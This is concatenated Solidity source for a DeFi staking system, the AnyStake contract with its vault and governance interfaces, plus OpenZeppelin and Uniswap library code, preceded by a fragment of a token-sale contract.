/*
* INTERNAL FUNCTIONS
*/
/// @dev Compute the amount of SUC token that can be purchased.
/// @param ethAmount Amount of Ether to purchase SUC.
/// @return Amount of SUC token to purchase
function computeTokenAmount(uint ethAmount) internal constant returns (uint tokens) {
uint phase = (block.number - firstblock).div(BLOCKS_PER_PHASE);
// A safe check
if (phase >= bonusPercentages.length) {
phase = bonusPercentages.length - 1;
}
uint tokenBase = ethAmount.mul(BASE_RATE);
uint tokenBonus = tokenBase.mul(bonusPercentages[phase]).div(100);
tokens = tokenBase.add(tokenBonus);
}
/// @return true if sale has started, false otherwise.
function saleStarted() constant returns (bool) {
return (firstblock > 0 && block.number >= firstblock);
}
/// @return true if sale has ended, false otherwise.
function saleEnded() constant returns (bool) {
return firstblock > 0 && (saleDue() || hardCapReached());
}
/// @return true if sale is due when the last phase is finished.
function saleDue() constant returns (bool) {
return block.number >= firstblock + BLOCKS_PER_PHASE * NUM_OF_PHASE;
}
/// @return true if the hard cap is reached.
function hardCapReached() constant returns (bool) {
return totalEthReceived >= HARD_CAP;
}
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// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
import "./lib/@defiat-crypto/interfaces/IDeFiatPoints.sol";
import "./interfaces/IAnyStake.sol";
import "./interfaces/IAnyStakeMigrator.sol";
import "./interfaces/IAnyStakeVault.sol";
import "./utils/AnyStakeUtils.sol";
contract AnyStake is IAnyStake, AnyStakeUtils {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// EVENTS
event Initialized(address indexed user, address vault);
event Claim(address indexed user, uint256 indexed pid, uint256 amount);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event Migrate(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event PoolAdded(address indexed user, uint256 indexed pid, address indexed stakedToken, address lpToken, uint256 allocPoints);
event MigratorUpdated(address indexed user, address migrator);
event VaultUpdated(address indexed user, address vault);
event PoolAllocPointsUpdated(address indexed user, uint256 indexed pid, uint256 allocPoints);
event PoolVipAmountUpdated(address indexed user, uint256 indexed pid, uint256 vipAmount);
event PoolStakingFeeUpdated(address indexed user, uint256 indexed pid, uint256 stakingFee);
event PointStipendUpdated(address indexed user, uint256 stipend);
// STRUCTS
// UserInfo - User metrics, pending reward = (user.amount * pool.DFTPerShare) - user.rewardDebt
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Token rewards paid out to user
uint256 lastRewardBlock; // last pool interaction
}
// PoolInfo - Pool metrics
struct PoolInfo {
address stakedToken; // Address of staked token contract.
address lpToken; // uniswap LP token corresponding to the trading pair needed for price calculation
uint256 totalStaked; // total tokens staked
uint256 allocPoint; // How many allocation points assigned to this pool. DFTs to distribute per block. (ETH = 2.3M blocks per year)
uint256 rewardsPerShare; // Accumulated DFTs per share, times 1e18. See below.
uint256 lastRewardBlock; // last pool update
uint256 vipAmount; // amount of DFT tokens that must be staked to access the pool
uint256 stakingFee; // the % withdrawal fee charged. base 1000, 50 = 5%
}
address public migrator; // contract where we may migrate too
address public vault; // where rewards are stored for distribution
bool public initialized;
PoolInfo[] public poolInfo; // array of AnyStake pools
mapping(uint256 => mapping(address => UserInfo)) public userInfo; // mapping of (pid => (userAddress => userInfo))
mapping(address => uint256) public pids; // quick mapping for pool ids (staked_token => pid)
uint256 public lastRewardBlock; // last block the pool was updated
uint256 public pendingRewards; // pending DFT rewards awaiting anyone to be distro'd to pools
uint256 public pointStipend; // amount of DFTP awarded per deposit
uint256 public totalAllocPoint; // Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalBlockDelta; // Total blocks since last update
uint256 public totalEligiblePools; // Amount of pools eligible for rewards
modifier NoReentrant(uint256 pid, address user) {
require(
block.number > userInfo[pid][user].lastRewardBlock,
"AnyStake: Must wait 1 block"
);
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyStake: Only Vault allowed");
_;
}
modifier activated() {
require(initialized, "AnyStake: Not initialized yet");
_;
}
constructor(address _router, address _gov, address _points, address _token)
public
AnyStakeUtils(_router, _gov, _points, _token)
{
pointStipend = 1e18;
}
// Initialize pools/rewards after the Vault has been setup
function initialize(address _vault) public onlyGovernor {
require(_vault != address(0), "Initalize: Must pass in Vault");
require(!initialized, "Initialize: AnyStake already initialized");
vault = _vault;
initialized = true;
emit Initialized(msg.sender, _vault);
}
// Pool - Get any incoming rewards, called during Vault.distributeRewards()
function addReward(uint256 amount) external override onlyVault {
if (amount == 0) {
return;
}
pendingRewards = pendingRewards.add(amount);
}
// Pool - Updates the reward variables of the given pool
function updatePool(uint256 pid) external {
_updatePool(pid);
}
// Pool - Update internal
function _updatePool(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
if (pool.totalStaked == 0 || pool.lastRewardBlock >= block.number || pool.allocPoint == 0) {
return;
}
// calculate total reward blocks since last update call
if (lastRewardBlock < block.number) {
totalBlockDelta = totalBlockDelta.add(block.number.sub(lastRewardBlock).mul(totalEligiblePools));
lastRewardBlock = block.number;
}
// calculate rewards, returns if already done this block
IAnyStakeVault(vault).calculateRewards();
// Calculate pool's share of pending rewards, using blocks since last reward and alloc points
uint256 poolBlockDelta = block.number.sub(pool.lastRewardBlock);
uint256 poolRewards = pendingRewards
.mul(poolBlockDelta)
.div(totalBlockDelta)
.mul(pool.allocPoint)
.div(totalAllocPoint);
// update reward variables
totalBlockDelta = poolBlockDelta > totalBlockDelta ? 0 : totalBlockDelta.sub(poolBlockDelta);
pendingRewards = poolRewards > pendingRewards ? 0 : pendingRewards.sub(poolRewards);
// update pool variables
pool.rewardsPerShare = pool.rewardsPerShare.add(poolRewards.mul(1e18).div(pool.totalStaked));
pool.lastRewardBlock = block.number;
}
// Pool - Claim rewards
function claim(uint256 pid) external override NoReentrant(pid, msg.sender) {
_updatePool(pid);
_claim(pid, msg.sender);
}
// Pool - Claim internal, called during deposit() and withdraw()
function _claim(uint256 _pid, address _user) internal {
UserInfo storage user = userInfo[_pid][_user];
uint256 rewards = pending(_pid, _user);
if (rewards == 0) {
return;
}
// update pool / user metrics
user.rewardDebt = user.amount.mul(poolInfo[_pid].rewardsPerShare).div(1e18);
user.lastRewardBlock = block.number;
// transfer DFT rewards
IAnyStakeVault(vault).distributeRewards(_user, rewards);
emit Claim(_user, _pid, rewards);
}
// Pool - Deposit Tokens
function deposit(uint256 pid, uint256 amount) external override NoReentrant(pid, msg.sender) {
_deposit(msg.sender, pid, amount);
}
// Pool - Deposit internal
function _deposit(address _user, uint256 _pid, uint256 _amount) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
require(_amount > 0, "Deposit: Cannot deposit zero tokens");
require(pool.allocPoint > 0, "Deposit: Pool is not active");
require(pool.vipAmount <= userInfo[0][_user].amount, "Deposit: VIP Only");
// add pool to reward calculation if previously no tokens staked
if (pool.totalStaked == 0) {
totalEligiblePools = totalEligiblePools.add(1);
pool.lastRewardBlock = block.number; // reset reward block
// begin computing rewards from this block if the first
if (lastRewardBlock == 0) {
lastRewardBlock = block.number;
}
}
// Update and claim rewards
_updatePool(_pid);
_claim(_pid, _user);
// Get tokens from user, balance check to support Fee-On-Transfer tokens
uint256 amount = IERC20(pool.stakedToken).balanceOf(address(this));
IERC20(pool.stakedToken).safeTransferFrom(_user, address(this), _amount);
amount = IERC20(pool.stakedToken).balanceOf(address(this)).sub(amount);
// Finalize, update user metrics
pool.totalStaked = pool.totalStaked.add(amount);
user.amount = user.amount.add(amount);
user.rewardDebt = user.amount.mul(pool.rewardsPerShare).div(1e18);
// reward user
IDeFiatPoints(DeFiatPoints).addPoints(_user, IDeFiatPoints(DeFiatPoints).viewTxThreshold(), pointStipend);
// Transfer the total amounts from user and update pool user.amount into the AnyStake contract
emit Deposit(_user, _pid, amount);
}
// Pool - Withdraw staked tokens
function withdraw(uint256 pid, uint256 amount) external override NoReentrant(pid, msg.sender) {
_withdraw(msg.sender, pid, amount);
}
// Pool - Withdraw Internal
function _withdraw(
address _user,
uint256 _pid,
uint256 _amount
) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
require(_amount > 0, "Withdraw: amount must be greater than zero");
require(user.amount >= _amount, "Withdraw: user amount insufficient");
require(pool.vipAmount <= userInfo[0][_user].amount, "Withdraw: VIP Only");
// claim rewards
_updatePool(_pid);
_claim(_pid, _user);
// update pool / user metrics
pool.totalStaked = pool.totalStaked.sub(_amount);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.rewardsPerShare).div(1e18);
// reduce eligible pools only if done by user actions
if (pool.totalStaked == 0 && pool.allocPoint > 0) {
totalEligiblePools = totalEligiblePools.sub(1);
}
// PID = 0 : DFT-LP
// PID = 1 : DFTP-LP
// PID = 2 : weth (price = 1e18)
// PID > 2 : all other tokens
// No fee on DFT-ETH, DFTP-ETH pools
uint256 stakingFeeAmount = _amount.mul(pool.stakingFee).div(1000);
uint256 remainingUserAmount = _amount.sub(stakingFeeAmount);
if(stakingFeeAmount > 0){
// Send Fee to Vault and buy DFT, balance check to support Fee-On-Transfer tokens
uint256 balance = IERC20(pool.stakedToken).balanceOf(vault);
safeTokenTransfer(vault, pool.stakedToken, stakingFeeAmount);
balance = IERC20(pool.stakedToken).balanceOf(vault);
IAnyStakeVault(vault).buyDeFiatWithTokens(pool.stakedToken, balance);
}
// withdraw user tokens
safeTokenTransfer(_user, pool.stakedToken, remainingUserAmount);
emit Withdraw(_user, _pid, remainingUserAmount);
}
// Pool - migrate stake to a new contract, should only be called after
function migrate(uint256 pid) external NoReentrant(pid, msg.sender) {
_migrate(msg.sender, pid);
}
// Pool - migrate internal
function _migrate(address _user, uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 balance = user.amount;
require(migrator != address(0), "Migrate: No migrator set");
require(balance > 0, "Migrate: No tokens to migrate");
require(pool.allocPoint == 0, "Migrate: Pool is still active");
_claim(_pid, _user);
IERC20(pool.stakedToken).safeApprove(migrator, balance);
IAnyStakeMigrator(migrator).migrateTo(_user, pool.stakedToken, balance);
emit Migrate(_user, _pid, balance);
}
// Pool - withdraw all stake and forfeit rewards, skips pool update
function emergencyWithdraw(uint256 pid) external NoReentrant(pid, msg.sender) {
PoolInfo storage pool = poolInfo[pid];
UserInfo storage user = userInfo[pid][msg.sender];
require(user.amount > 0, "EmergencyWithdraw: user amount insufficient");
uint256 stakingFeeAmount = user.amount.mul(pool.stakingFee).div(1000);
uint256 remainingUserAmount = user.amount.sub(stakingFeeAmount);
pool.totalStaked = pool.totalStaked.sub(user.amount);
user.amount = 0;
user.rewardDebt = 0;
user.lastRewardBlock = block.number;
if (pool.totalStaked == 0) {
totalEligiblePools = totalEligiblePools.sub(1);
}
safeTokenTransfer(vault, pool.stakedToken, stakingFeeAmount);
safeTokenTransfer(msg.sender, pool.stakedToken, remainingUserAmount);
emit EmergencyWithdraw(msg.sender, pid, remainingUserAmount);
}
// View - gets stakedToken price from the Vault
function getPrice(uint256 pid) external view returns (uint256) {
address token = poolInfo[pid].stakedToken;
address lpToken = poolInfo[pid].lpToken;
return IAnyStakeVault(vault).getTokenPrice(token, lpToken);
}
// View - Pending DFT Rewards for user in pool
function pending(uint256 _pid, address _user)
public
view
returns (uint256)
{
PoolInfo memory pool = poolInfo[_pid];
UserInfo memory user = userInfo[_pid][_user];
// not sure if this will work with tokens non-1e18 decimals
return user.amount.mul(pool.rewardsPerShare).div(1e18).sub(user.rewardDebt);
}
// View - View Pool Length
function poolLength() external view returns (uint256) {
return poolInfo.length; // number of pools (pids)
}
// Governance - Add Multiple Token Pools
function addPoolBatch(
address[] calldata tokens,
address[] calldata lpTokens,
uint256[] calldata allocPoints,
uint256[] calldata vipAmounts,
uint256[] calldata stakingFees
) external onlyGovernor {
for (uint i = 0; i < tokens.length; i++) {
_addPool(tokens[i], lpTokens[i], allocPoints[i], vipAmounts[i], stakingFees[i]);
}
}
// Governance - Add Single Token Pool
function addPool(
address token,
address lpToken,
uint256 allocPoint,
uint256 vipAmount,
uint256 stakingFee
) external onlyGovernor {
_addPool(token, lpToken, allocPoint, vipAmount, stakingFee);
}
// Governance - Add Token Pool Internal
function _addPool(
address stakedToken,
address lpToken,
uint256 allocPoint,
uint256 vipAmount,
uint256 stakingFee
) internal {
require(pids[stakedToken] == 0, "AddPool: Token pool already added");
pids[stakedToken] = poolInfo.length;
_blacklistedAdminWithdraw[stakedToken] = true; // stakedToken now non-withrawable by admins
totalAllocPoint = totalAllocPoint.add(allocPoint);
// Add new pool
poolInfo.push(
PoolInfo({
stakedToken: stakedToken,
lpToken: lpToken,
allocPoint: allocPoint,
lastRewardBlock: block.number,
totalStaked: 0,
rewardsPerShare: 0,
vipAmount: vipAmount,
stakingFee: stakingFee
})
);
emit PoolAdded(msg.sender, pids[stakedToken], stakedToken, lpToken, allocPoint);
}
// Governance - Set Migrator
function setMigrator(address _migrator) external onlyGovernor {
require(_migrator != address(0), "SetMigrator: No migrator change");
migrator = _migrator;
emit MigratorUpdated(msg.sender, _migrator);
}
// Governance - Set Vault
function setVault(address _vault) external onlyGovernor {
require(_vault != address(0), "SetVault: No migrator change");
vault = _vault;
emit VaultUpdated(msg.sender, vault);
}
// Governance - Set Pool Allocation Points
function setPoolAllocPoints(uint256 _pid, uint256 _allocPoint) external onlyGovernor {
require(poolInfo[_pid].allocPoint != _allocPoint, "SetAllocPoints: No points change");
if (_allocPoint == 0) {
totalEligiblePools = totalEligiblePools.sub(1);
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
emit PoolAllocPointsUpdated(msg.sender, _pid, _allocPoint);
}
// Governance - Set Pool Charge Fee
function setPoolVipAmount(uint256 _pid, uint256 _vipAmount) external onlyGovernor {
require(poolInfo[_pid].vipAmount != _vipAmount, "SetVipAmount: No amount change");
poolInfo[_pid].vipAmount = _vipAmount;
emit PoolVipAmountUpdated(msg.sender, _pid, _vipAmount);
}
// Governance - Set Pool Charge Fee
function setPoolChargeFee(uint256 _pid, uint256 _stakingFee) external onlyGovernor {
require(poolInfo[_pid].stakingFee != _stakingFee, "SetStakingFee: No fee change");
poolInfo[_pid].stakingFee = _stakingFee;
emit PoolStakingFeeUpdated(msg.sender, _pid, _stakingFee);
}
// Governance - Set Pool Allocation Points
function setPointStipend(uint256 _pointStipend) external onlyGovernor {
require(_pointStipend != pointStipend, "SetStipend: No stipend change");
pointStipend = _pointStipend;
emit PointStipendUpdated(msg.sender, pointStipend);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
interface IAnyStake {
function addReward(uint256 amount) external;
function claim(uint256 pid) external;
function deposit(uint256 pid, uint256 amount) external;
function withdraw(uint256 pid, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
interface IAnyStakeMigrator {
function migrateTo(address user, address token, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
interface IAnyStakeVault {
function buyDeFiatWithTokens(address token, uint256 amount) external;
function buyPointsWithTokens(address token, uint256 amount) external;
function calculateRewards() external;
function distributeRewards(address recipient, uint256 amount) external;
function getTokenPrice(address token, address lpToken) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
interface IDeFiatGov {
function mastermind() external view returns (address);
function viewActorLevelOf(address _address) external view returns (uint256);
function viewFeeDestination() external view returns (address);
function viewTxThreshold() external view returns (uint256);
function viewBurnRate() external view returns (uint256);
function viewFeeRate() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
interface IDeFiatPoints {
function viewDiscountOf(address _address) external view returns (uint256);
function viewEligibilityOf(address _address) external view returns (uint256 tranche);
function discountPointsNeeded(uint256 _tranche) external view returns (uint256 pointsNeeded);
function viewTxThreshold() external view returns (uint256);
function viewRedirection(address _address) external view returns (bool);
function overrideLoyaltyPoints(address _address, uint256 _points) external;
function addPoints(address _address, uint256 _txSize, uint256 _points) external;
function burn(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
import "./DeFiatUtils.sol";
import "../interfaces/IDeFiatGov.sol";
abstract contract DeFiatGovernedUtils is DeFiatUtils {
event GovernanceUpdated(address indexed user, address governance);
address public governance;
modifier onlyMastermind {
require(
msg.sender == IDeFiatGov(governance).mastermind() || msg.sender == owner(),
"Gov: Only Mastermind"
);
_;
}
modifier onlyGovernor {
require(
IDeFiatGov(governance).viewActorLevelOf(msg.sender) >= 2 || msg.sender == owner(),
"Gov: Only Governors"
);
_;
}
modifier onlyPartner {
require(
IDeFiatGov(governance).viewActorLevelOf(msg.sender) >= 1 || msg.sender == owner(),
"Gov: Only Partners"
);
_;
}
function _setGovernance(address _governance) internal {
require(_governance != governance, "SetGovernance: No governance change");
governance = _governance;
emit GovernanceUpdated(msg.sender, governance);
}
function setGovernance(address _governance) external onlyGovernor {
_setGovernance(_governance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
import "../../@openzeppelin/token/ERC20/IERC20.sol";
import "../../@openzeppelin/access/Ownable.sol";
abstract contract DeFiatUtils is Ownable {
event TokenSweep(address indexed user, address indexed token, uint256 amount);
// Sweep any tokens/ETH accidentally sent or airdropped to the contract
function sweep(address token) public virtual onlyOwner {
uint256 amount = IERC20(token).balanceOf(address(this));
require(amount > 0, "Sweep: No token balance");
IERC20(token).transfer(msg.sender, amount); // use of the ERC20 traditional transfer
if (address(this).balance > 0) {
payable(msg.sender).transfer(address(this).balance);
}
emit TokenSweep(msg.sender, token, amount);
}
// Self-Destruct contract to free space on-chain, sweep any ETH to owner
function kill() external onlyOwner {
selfdestruct(payable(msg.sender));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
// Standard
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
